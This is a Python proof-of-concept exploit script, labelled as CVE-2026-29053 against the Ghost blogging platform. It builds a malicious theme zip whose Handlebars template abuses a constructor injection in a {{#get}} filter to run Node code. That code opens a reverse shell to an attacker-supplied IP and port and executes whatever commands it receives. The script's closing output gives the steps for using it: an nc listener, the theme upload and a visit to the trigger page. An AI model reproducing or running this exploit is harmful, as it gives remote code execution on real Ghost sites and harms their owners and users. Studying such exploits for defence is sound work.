#!/usr/bin/env python3
import os
import sys
import zipfile
import argparse
from pathlib import Path

TEMPLATE = '''{{!< default}}
<h1>Loading...</h1>
{{#get "posts" filter="tags:{{@site[?( ({__proto__:\\"\\".toString})[\\"constructor\\"](\\"var s=process.mainModule.require('net').Socket();s.on('error',function(){});s.connect(PORT,'IP');s.on('data',function(d){process.mainModule.require('child_process').exec(d.toString(),function(e,o,r){s.write(o+r)})});return 1\\")() )]}}" limit="1"}}
{{/get}}'''

def main():
    parser = argparse.ArgumentParser(description='CVE-2026-29053 Ghost RCE')
    parser.add_argument('-i', '--ip', required=True)
    parser.add_argument('-p', '--port', type=int, required=True)
    parser.add_argument('-o', '--output', default='malicious-theme.zip')
    args = parser.parse_args()

    script_dir = Path(__file__).parent.resolve()
    poc_dir = script_dir / 'poc'

    if not poc_dir.exists():
        print(f"[-] poc directory not found")
        sys.exit(1)

    # Generate payload
    payload = TEMPLATE.replace('IP', args.ip).replace('PORT', str(args.port))
    (poc_dir / 'page-rce.hbs').write_text(payload)
    print(f"[+] Payload: {args.ip}:{args.port}")

    # Create zip
    exclude = {'node_modules', 'dist', 'yarn.lock', 'package-lock.json', 'gulpfile.js', '.git'}
    zip_path = script_dir / args.output
    
    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
        for root, dirs, files in os.walk(poc_dir):
            dirs[:] = [d for d in dirs if d not in exclude]
            for file in files:
                if file not in exclude:
                    file_path = Path(root) / file
                    zipf.write(file_path, file_path.relative_to(poc_dir))

    print(f"[+] Created: {zip_path}")
    print(f"\n1. nc -lvnp {args.port}")
    print(f"2. Upload theme, create page with slug 'rce'")
    print(f"3. Visit /rce/")

if __name__ == '__main__':
    main()
